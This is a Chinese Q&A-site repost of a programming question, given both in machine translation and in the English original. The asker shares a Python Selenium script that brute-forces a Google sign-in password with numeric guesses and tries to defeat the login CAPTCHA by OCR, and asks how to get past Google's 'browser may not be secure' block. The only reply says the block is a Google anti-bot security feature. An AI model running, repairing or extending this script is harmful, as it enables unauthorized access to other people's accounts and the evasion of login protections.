Google是否将我的帐户从INS上阻止我的帐户?

发布于 2025-02-10 20:35:01 字数 2271 浏览 1 评论 0原文

几周前,我开始了一个项目,旨在猜测Google签名的密码,该密码由数字1-100000组成。我使用硒来请求和导航围绕Chrome浏览器进行导航,但是最近我遇到了一个错误,说“无法签名,此浏览器或应用程序可能无法安全”。我这是一个Google安全功能,还是我做错了什么。如果是这样,有办法解决吗?不确定在哪里出错,所以我只包括整个代码。

from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import pytesseract
import requests

# Setup global variables
global guessCount
global cracked
global driver


def enterEmail():
    global cracked
    driver.implicitly_wait(2)
    email = driver.find_element(By.ID, "identifierId")
    email.send_keys('[email protected]' + Keys.RETURN)
    driver.implicitly_wait(3)
    cracked = 'true'


def defeat_recaptcha():
    global cracked
    driver.implicitly_wait(6)
    captcha_img_element = driver.find_element(By.ID, "captchaimg")
    captcha_img_link = captcha_img_element.get_attribute("src")
    print(captcha_img_link)
    img = requests.get(captcha_img_link, stream=True)
    cracked = 'true'
    # Process image
    word = pytesseract.image_to_string(img)
    print(word)
    # Get captcha box
    code = driver.find_element(By.ID, "ca")
    code.send_keys(word + Keys.RETURN)
    cracked = 'true'


def main():
    global driver
    driver = webdriver.Chrome()
    driver.get('https://accounts.google.com/signin/v2/identifier?elo=1&flowName=GlifWebSignIn&flowEntry=ServiceLogin')


    enterEmail()
    while cracked == 'true':
        driver.implicitly_wait(5)
        if driver.find_element(By.ID, "captchaimg") is not None:
            # run inside loop to crack recaptcha
            defeat_recaptcha()
        if driver.find_element(By.NAME, 'password') is not None:
            passwd = driver.find_element(By.NAME, 'password')
            guess = 10000 + guessCount
            guessCount = guessCount + 1
            inputGuess = str(guess) + '000'
            passwd.send_keys(inputGuess + Keys.RETURN)
            passwd.clear()
            # Get captcha image
        print(guess)


if __name__ == "__main__":
    main()

A few weeks ago I began a project that aimed to guess google sign in passwords that were comprised of a number 1-100000. I used selenium to request and navigate around a chrome browser, however just recently I have been getting an error saying "Couldn't sign you in, this browser or app may not be secure". I this a google security feature or am I doing something wrong. If so is there a way around it? Not sure where it went wrong so I'll just include the whole code. enter image description here

from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import pytesseract
import requests

# Setup global variables
global guessCount
global cracked
global driver


def enterEmail():
    global cracked
    driver.implicitly_wait(2)
    email = driver.find_element(By.ID, "identifierId")
    email.send_keys('[email protected]' + Keys.RETURN)
    driver.implicitly_wait(3)
    cracked = 'true'


def defeat_recaptcha():
    global cracked
    driver.implicitly_wait(6)
    captcha_img_element = driver.find_element(By.ID, "captchaimg")
    captcha_img_link = captcha_img_element.get_attribute("src")
    print(captcha_img_link)
    img = requests.get(captcha_img_link, stream=True)
    cracked = 'true'
    # Process image
    word = pytesseract.image_to_string(img)
    print(word)
    # Get captcha box
    code = driver.find_element(By.ID, "ca")
    code.send_keys(word + Keys.RETURN)
    cracked = 'true'


def main():
    global driver
    driver = webdriver.Chrome()
    driver.get('https://accounts.google.com/signin/v2/identifier?elo=1&flowName=GlifWebSignIn&flowEntry=ServiceLogin')


    enterEmail()
    while cracked == 'true':
        driver.implicitly_wait(5)
        if driver.find_element(By.ID, "captchaimg") is not None:
            # run inside loop to crack recaptcha
            defeat_recaptcha()
        if driver.find_element(By.NAME, 'password') is not None:
            passwd = driver.find_element(By.NAME, 'password')
            guess = 10000 + guessCount
            guessCount = guessCount + 1
            inputGuess = str(guess) + '000'
            passwd.send_keys(inputGuess + Keys.RETURN)
            passwd.clear()
            # Get captcha image
        print(guess)


if __name__ == "__main__":
    main()

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

挖鼻大婶 2025-02-17 20:35:01

是Google安全功能,Google知道您何时使用机器人,而且很明显,使用bot访问网站是不安全的

is a google security feature, google knows when you are using a bot and well, is obvious that is insecure to use a bot to access websites

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文